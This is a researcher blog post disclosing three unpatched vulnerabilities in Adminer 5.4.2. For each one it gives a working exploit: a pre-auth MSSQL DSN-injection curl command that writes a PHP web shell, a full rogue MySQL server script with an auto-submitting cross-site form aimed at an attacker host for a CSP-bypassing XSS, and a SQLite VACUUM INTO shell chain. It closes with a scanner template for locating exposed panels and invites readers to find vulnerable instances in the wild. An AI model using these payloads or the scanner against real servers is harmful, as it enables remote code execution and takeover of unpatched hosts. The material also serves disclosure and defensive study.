All posts

Three 0-Day Vulnerabilities in Adminer

Three 0-days from a single source review of Adminer 5.4.2. A pre-auth RCE in the MSSQL driver, a stored XSS that bypasses CSP via a rogue MySQL server, and an authenticated SQLite RCE that walks around the existing blocklist. Reported to the vendor on 6 April. No response yet.

Adminer is a single PHP file that you drop into your web root and get a full database admin panel out of it. That makes it convenient. It also makes it one of the most exposed admin panels on the internet, because anybody who deployed it once and forgot about it left a login page sitting on production, indexed by Google and pickable by a scanner.

We have been here before. Years ago Yashar found a way to abuse a publicly reachable Adminer on a private bug bounty program to read arbitrary files from the host, and wrote it up here. He never reported the underlying issue to Adminer; he just used it once on the program that paid for it and moved on. The class itself got a CVE of its own a few years later, CVE-2021-43008, after somebody else rediscovered it and reported it properly. That bug is long gone now, but it left a habit: every couple of years one of us opens the latest Adminer and reads it. This year was that year.

Amir and I decided to take a look at Adminer for fun, and of course to make some money as we've done before. We pulled the current single-file build, adminer-5.4.2.php, and read it from top to bottom over a couple of sessions. By the end of the pass we had three 0-days: a pre-auth remote code execution against any Adminer connected to an MSSQL/Azure SQL backend, a stored XSS that bypasses Adminer's CSP through a rogue MySQL server, and an authenticated remote code execution against SQLite that walks around the existing blocklist. We reported the full set to the maintainer via GitHub on 6 April 2026 and followed up on 13 April. As of this writing, over two months later, there has still been no acknowledgement. If there had been any, we would not be publishing today.

The customers who keep Adminer reachable on production deserve to know what is sitting on their hosts. This post is the closest thing to a public advisory the bugs will get until the vendor moves.

Discovery

The compact build we tested is the official adminer-5.4.2.php from adminer.org, the latest stable at the time we audited it. For the audit itself we read the split source from the GitHub repo at tag v5.4.2, because that tree has the original file paths and line numbers we wanted to cite. The repo also carries plugins, the Editor variant, and other assets that are not part of the default compact build; we ignored those and read what actually ships in the single-file binary.

Adminer is small: a few hundred KB of PHP that connects to and manages a handful of database drivers behind one login form. We read it end-to-end and walked out with three issues.

Bug 1: Pre-Auth RCE via MSSQL DSN Injection

The first bug is the most interesting one. It is a pre-auth remote code execution that fires on any Adminer running on top of pdo_sqlsrv, which is the standard PHP extension for connecting to Microsoft SQL Server and Azure SQL. The vulnerable line lives in the MSSQL driver, adminer/drivers/mssql.inc.php at line 185:

if (extension_loaded("pdo_sqlsrv")) {
    class Db extends MssqlDb {
        public $extension = "PDO_SQLSRV";

        function attach(string $server, string $username, string $password): string {
            list($host, $port) = host_port($server);
            return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
        }
    }
}

The driver builds an ODBC DSN string by concatenating the user-controlled $host value into a template, then hands the result to PDO. There is no escaping anywhere on this path. host_port() (in include/functions.inc.php:851) is a thin regex that splits an IPv6 bracket form like [::1]:1433 into host and port; if the input does not match that pattern it returns the original string unchanged, which is the common case. So whatever we type into the login form's server field lands directly inside the DSN.

ODBC treats semicolons as DSN parameter delimiters. That means a semicolon in the server name lets us append arbitrary ODBC options to the connection string. The two options worth knowing about here are TraceFile and TraceOn. When these are present the ODBC driver writes a trace of the attempted connection to a file we name, before the connection itself succeeds, and the trace contains the literal connection string including the UID={...} field. The username we submit in the login form goes directly into that UID={...} field, raw. So if we put PHP code in the username, the ODBC driver politely writes that PHP code to a file of our choosing.

The end-to-end primitive looks like this:

curl "http://target.tld/adminer.php" -L -c - \
  -d "auth[driver]=mssql" \
  -d "auth[server]=127.0.0.1;TraceFile=shell.php;TraceOn=1" \
  --data-urlencode "auth[username]=<?php system(\$_GET['c']); ?>" \
  -d "auth[password]=x"

The DSN that Adminer ends up handing to PDO is sqlsrv:Server=127.0.0.1;TraceFile=shell.php;TraceOn=1. The ODBC driver opens the trace file, writes the connection metadata into it (including our <?php payload as part of UID={...}), then tries to connect to 127.0.0.1 and fails. The failure does not matter. The file has already been written next to adminer.php in the web root. One request later we have a shell:

curl "http://target.tld/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Pre-auth. No valid SQL Server needed. No credentials. The login attempt fails by design.

The preconditions are narrow but realistic. The target needs pdo_sqlsrv loaded and the Microsoft ODBC Driver for SQL Server installed, which is exactly the configuration you get on a server that talks to Azure SQL Database or a Microsoft SQL Server backend. The web root also needs to be writable by the PHP worker, which is the default on a lot of containerized PHP setups. The same shape exists in the sibling pdo_dblib branch at line 195 of the same file, where the DSN template is dblib:charset=utf8;host=$host; we did not chase a gadget on that one because we did not have a reachable dblib install to confirm against, but the code is identical and we suspect it is equivalent.

Bug 2: Stored XSS via Rogue MySQL Server (CSP Nonce Bypass)

The second bug is more fun than dangerous, but it is technically a stored XSS that bypasses Adminer's CSP in a fully supported way. It needs an attacker-controlled MySQL server, which sounds like a heavy precondition until you remember that the login form has no CSRF token, and Adminer is happy to call out to any MySQL host you give it.

The sink is in adminer/include/adminer.inc.php at line 1081:

echo script("syntaxHighlighting('" . preg_replace('~^(\d\.?\d).*~s', '\1', connection()->server_info) . "', '" . connection()->flavor . "');");

connection()->server_info is whatever string the database server returned in its handshake. For MySQL that is the version string sitting in the initial Greeting packet, completely controlled by whoever runs the server we are talking to. Adminer assumes it will always look like 5.7.38 or 10.11.5-MariaDB, so it runs a preg_replace with the anchored pattern ~^(\d\.?\d).*~s to extract the first two digits.

The interesting property of preg_replace is that when the pattern fails to match, it returns the original input unchanged. The pattern here only matches input that starts with a digit followed optionally by a dot and another digit. Send a version string that does not start with a digit and the regex falls through; the raw string is concatenated into the JavaScript, inside a <script> tag that script() (in include/html.inc.php:5) wraps with a valid CSP nonce:

function script(string $source, string $trailing = "\n"): string {
    return "<script" . nonce() . ">$source</script>$trailing";
}

So we win twice. The injection is reflected into a script context, and the script tag carries the legitimate per-request nonce, which means the browser's strict CSP does not block it. The payload runs.

The minimum rogue MySQL server you need is about 80 lines of Python that speaks just enough of the MySQL protocol to send a Greeting packet with a custom version string and accept any login. We had this:

import socket, struct, threading

PAYLOAD = "1');alert(origin)//"

CAP_PROTOCOL_41       = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH       = 0x00080000
CAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)

def make_packet(seq, payload):
    length = struct.pack("<I", len(payload))[:3]
    return length + bytes([seq]) + payload

def make_greeting(version_str):
    pkt  = b"\x0a"                                  # protocol version 10
    pkt += version_str.encode() + b"\x00"            # version string  <-- attacker controlled
    pkt += struct.pack("<I", 1)                      # connection id
    pkt += b"\x41" * 8                               # auth plugin data part 1
    pkt += b"\x00"                                   # filler
    pkt += struct.pack("<H", CAPS_LOW)
    pkt += b"\x21"                                   # charset utf8
    pkt += struct.pack("<H", 0x0002)                 # status flags
    pkt += struct.pack("<H", CAPS_HIGH)
    pkt += b"\x15"                                   # auth data length (21)
    pkt += b"\x00" * 10
    pkt += b"\x41" * 12 + b"\x00"
    pkt += b"mysql_native_password\x00"
    return make_packet(0, pkt)

def make_ok(seq):
    pkt  = b"\x00\x00\x00"
    pkt += struct.pack("<H", 0x0002)
    pkt += struct.pack("<H", 0)
    return make_packet(seq, pkt)

def make_err(seq, msg=b"not supported"):
    pkt  = b"\xff"
    pkt += struct.pack("<H", 1045)
    pkt += b"#HY000"
    pkt += msg
    return make_packet(seq, pkt)

def handle(conn):
    conn.sendall(make_greeting(PAYLOAD))
    try: conn.recv(4096)
    except: conn.close(); return
    conn.sendall(make_ok(2))
    while True:
        try:
            data = conn.recv(4096)
            if not data: break
            conn.sendall(make_err(data[3] + 1))
        except: break
    conn.close()

srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version:", PAYLOAD)
while True:
    conn, _ = srv.accept()
    threading.Thread(target=handle, args=(conn,)).start()

Point the victim Adminer at this server, log in as anyone, and the dashboard renders with:

<script nonce="REAL_NONCE_VALUE">syntaxHighlighting('1');alert(origin)//', 'mysql');</script>

alert(origin) runs. Because the login form has no CSRF token, the precondition can be satisfied from a remote attacker page without any user action beyond visiting the page:

<form id="f" method="POST" action="http://target.tld/adminer.php">
  <input name="auth[driver]" value="server">
  <input name="auth[server]" value="ATTACKER_IP:3307">
  <input name="auth[username]" value="root">
  <input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>

The victim visits the page. Their browser POSTs the login. Adminer connects out to the attacker's MySQL server, receives the malicious version string, renders the dashboard, and runs the payload in the origin of the victim's Adminer.

Bug 3: Authenticated RCE via SQLite VACUUM INTO

The last one is small and slightly funny. Adminer's authors clearly thought about the obvious SQLite-to-RCE path, because they put it on a blocklist. They just forgot that SQLite has more than one way to write a file. The relevant code is in adminer/sql.inc.php at line 121:

if (JUSH == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
    // PHP doesn't support setting SQLITE_LIMIT_ATTACHED
    echo "<p class='error'>" . lang('ATTACH queries are not supported.') . "\n";
}

The blocklist matches any query that starts with ATTACH. The historical reason this exists is that ATTACH DATABASE 'shell.php' is the textbook SQLite-to-PHP-shell primitive: SQLite creates the database file with the given name and extension, and if the file contains arbitrary attacker-supplied bytes (for example as a table name), PHP will happily parse the bytes between <?php ... ?> and execute them.

What the blocklist does not cover is VACUUM INTO, available since SQLite 3.27.0. VACUUM INTO 'path.php' does almost exactly the same thing as ATTACH: it writes the current database to a new file at an arbitrary path with an arbitrary extension. The blocklist regex starts with ATTACH\b, so a query starting with VACUUM walks straight through.

The full chain, after logging into the SQLite driver:

CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';

The first statement creates a table whose name is the PHP payload. SQLite stores table names as literal UTF-8 bytes inside the database file. VACUUM INTO then writes the whole database to /var/www/html/shell.php. PHP's parser scans the resulting file, hits the <?php marker somewhere in the middle of the SQLite binary content, and runs everything between it and the closing ?>. We have a shell:

curl "http://target.tld/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

This one is post-auth, so it is meaningfully less severe than Bug 1, but SQLite-backed Adminer instances are often left with default or empty credentials, and an attacker who has compromised any low-privilege account on the database has the same primitive.

Takeaway

We found these 0-days the same way we found the cPanel ones a few weeks ago: by reading source. Once we had the bugs, we ran them across the bug bounty programs we have access to and reported every match. The bounties from those two campaigns combined came out in five figures. The number mattered less than what we were actually after, which was a whitebox audit on real targets, the fun of it, and a check on our own instincts after years of blackbox work.

If you want to find these in the wild, the only real prerequisite is being able to identify exposed Adminer panels. Since there is no patch out yet, any panel you can reach is at least exploitable for the XSS, because Bug 2 has no host-side preconditions; depending on the database driver underneath, the same panel can chain further into RCE.

There is already an official Nuclei template for detecting Adminer panels, but in practice it missed enough live instances that we wrote our own to catch more of them. Ours enumerates the common deployment filenames Adminer ships with plus a few aliases people use, and confirms the panel via the page title and a footer string. We are dropping it here so you can use it too.

id: adminer-panel

info:
  name: Adminer Login Panel - Detect
  author: yshahinzadeh,amirmsafari
  severity: info
  description: An Adminer login panel was detected.
  tags: panel,adminer,discovery

http:
  - method: GET
    path:
      - '{{BaseURL}}/adminer-5.0.0.php'
      - '{{BaseURL}}/adminer-5.0.1.php'
      - '{{BaseURL}}/adminer-5.0.2.php'
      - '{{BaseURL}}/adminer-5.0.3.php'
      - '{{BaseURL}}/adminer-5.0.4.php'
      - '{{BaseURL}}/adminer-5.0.5.php'
      - '{{BaseURL}}/adminer-5.0.6.php'
      - '{{BaseURL}}/adminer-5.1.0.php'
      - '{{BaseURL}}/adminer-5.1.1.php'
      - '{{BaseURL}}/adminer-5.2.0.php'
      - '{{BaseURL}}/adminer-5.2.1.php'
      - '{{BaseURL}}/adminer-5.3.0.php'
      - '{{BaseURL}}/adminer-5.4.0.php'
      - '{{BaseURL}}/adminer-5.4.1.php'
      - '{{BaseURL}}/adminer-5.4.2.php'
      - '{{BaseURL}}/adminer-5.0.0-en.php'
      - '{{BaseURL}}/adminer-5.0.1-en.php'
      - '{{BaseURL}}/adminer-5.0.2-en.php'
      - '{{BaseURL}}/adminer-5.0.3-en.php'
      - '{{BaseURL}}/adminer-5.0.4-en.php'
      - '{{BaseURL}}/adminer-5.0.5-en.php'
      - '{{BaseURL}}/adminer-5.0.6-en.php'
      - '{{BaseURL}}/adminer-5.1.0-en.php'
      - '{{BaseURL}}/adminer-5.1.1-en.php'
      - '{{BaseURL}}/adminer-5.2.0-en.php'
      - '{{BaseURL}}/adminer-5.2.1-en.php'
      - '{{BaseURL}}/adminer-5.3.0-en.php'
      - '{{BaseURL}}/adminer-5.4.0-en.php'
      - '{{BaseURL}}/adminer-5.4.1-en.php'
      - '{{BaseURL}}/adminer-5.4.2-en.php'
      - '{{BaseURL}}/adminer-5.0.0-mysql.php'
      - '{{BaseURL}}/adminer-5.0.1-mysql.php'
      - '{{BaseURL}}/adminer-5.0.2-mysql.php'
      - '{{BaseURL}}/adminer-5.0.3-mysql.php'
      - '{{BaseURL}}/adminer-5.0.4-mysql.php'
      - '{{BaseURL}}/adminer-5.0.5-mysql.php'
      - '{{BaseURL}}/adminer-5.0.6-mysql.php'
      - '{{BaseURL}}/adminer-5.1.0-mysql.php'
      - '{{BaseURL}}/adminer-5.1.1-mysql.php'
      - '{{BaseURL}}/adminer-5.2.0-mysql.php'
      - '{{BaseURL}}/adminer-5.2.1-mysql.php'
      - '{{BaseURL}}/adminer-5.3.0-mysql.php'
      - '{{BaseURL}}/adminer-5.4.0-mysql.php'
      - '{{BaseURL}}/adminer-5.4.1-mysql.php'
      - '{{BaseURL}}/adminer-5.4.2-mysql.php'
      - '{{BaseURL}}/adminer-5.0.0-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.1-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.2-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.3-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.4-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.5-mysql-en.php'
      - '{{BaseURL}}/adminer-5.0.6-mysql-en.php'
      - '{{BaseURL}}/adminer-5.1.0-mysql-en.php'
      - '{{BaseURL}}/adminer-5.1.1-mysql-en.php'
      - '{{BaseURL}}/adminer-5.2.0-mysql-en.php'
      - '{{BaseURL}}/adminer-5.2.1-mysql-en.php'
      - '{{BaseURL}}/adminer-5.3.0-mysql-en.php'
      - '{{BaseURL}}/adminer-5.4.0-mysql-en.php'
      - '{{BaseURL}}/adminer-5.4.1-mysql-en.php'
      - '{{BaseURL}}/adminer-5.4.2-mysql-en.php'
      - '{{BaseURL}}/adminer.php'
      - '{{BaseURL}}/_adminer.php'
      - '{{BaseURL}}/sql.php'
      - '{{BaseURL}}/mysql.php'
      - '{{BaseURL}}/editor.php'
      - '{{BaseURL}}' # Adminer Docker Image Launch it on root

    headers:
      Accept-Language: en-US,en;q=0.5
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Adminer</title>"
          - "Adminer</a>"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '<span class="version">([0-9.]+)'

That is all from us. We hope you enjoyed the read, and we hope it is clear why we chose to go public rather than keep waiting on a reply that may never come.